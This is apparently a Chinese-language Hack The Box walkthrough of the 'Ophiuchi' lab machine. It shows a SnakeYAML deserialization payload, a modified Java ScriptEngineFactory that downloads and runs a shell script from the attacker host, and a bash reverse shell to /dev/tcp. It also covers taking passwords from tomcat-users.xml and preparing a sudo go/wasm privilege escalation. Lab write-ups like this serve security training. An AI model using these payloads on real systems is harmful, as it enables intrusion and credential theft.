【Hack The Box】linux练习-- Ophiuchi

news2024/11/28 20:47:45

HTB 学习笔记

【Hack The Box】linux练习-- Ophiuchi

🔥系列专栏：Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2022年11月27日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

文章目录

HTB 学习笔记
- 信息收集
- 8080
- - - 目录爆破
- java-yaml反序列化
- 获取shell
- tomcat ->admin
- admin->root
- wasm
- 修改

在这里插入图片描述

信息收集

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8080

Parse YAML
在这里插入图片描述死页面，啥都干不了，输入一个东西他说网站已经关闭

目录爆破

目录爆破命令就不写了

得到
/test (Status: 302)
/manager (Status: 302)

manager页面要求登陆

在这里插入图片描述
YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象，这就是反序列化。

尽管该网站说它已关闭，但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。我将尝试使用 YAML 反序列化负载进行检查。由于服务器是 Tomcat，我将寻找基于 Java 的有效载荷。

java-yaml反序列化

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.7/"]
  ]]
]

本地开启的python 服务器回收到信号
说明反序列化成功
关于yaml反序列化的利用，利用

https://github.com/artsploit/yaml-payload
https://github.com/mbechler/marshalsec

修改payload，而后修改payload让他请求我们的恶意jar包

操作

下载
proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
得到src
修改AwesomeScriptEngineFactory.java
编译

javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf ping.jar -C src/ .  //打包

得到了一个ping.jar
在这里插入图片描述
4. 开一个python服务器以及一个icmp监听

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.29/ping.jar"]
  ]]
]

请求这个ping包
我们发现本地的icmp收到了ping
所以我们的道路通畅
接下来修改命令来执行命令
在这里插入图片描述
那么这是确定存在rce，在java中，实现rce的手段我们通常选择如下利用.sh脚本的方法

获取shell

写一个脚本

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1

修改java文件

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
            Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");
            Runtime.getRuntime().exec("bash /tmp/shell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

重新编译打包运行

javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .

在这里插入图片描述

tomcat ->admin

作为tomcat用户，当前主目录是 /opt/tomcat:
/opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码：

找到密码
whythereisalimit

su admin

密码重用成功

在这里插入图片描述

admin->root

在这里插入图片描述
没有go的二进制提权
看一下那个index.go文件是个什么情况

package main
import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

他会导入几个模块，然后定义一个函数，读取main.wasm，然后放到一个新的实例，然后返回的如果不是1，就输出Not ready to deploy"，如果是1，就/bin/sh", "deploy.sh，执行这个脚本

我直接执行，没用

sudo /usr/bin/go run /opt/wasm-functions/index.go

并且会报错，那我先找到main.wasm，然后执行一下看看

find / -name "main.wasm" 2>/dev/null

在这里插入图片描述
两个目录都是第一种情况
那么接下来就是要想办法让返回值是1

wasm

WASM 或 Web Assembly 是一种二进制指令格式，用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序，但它也可以在其他环境中运行。

proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm 
到这里就可以生成一个main.wasm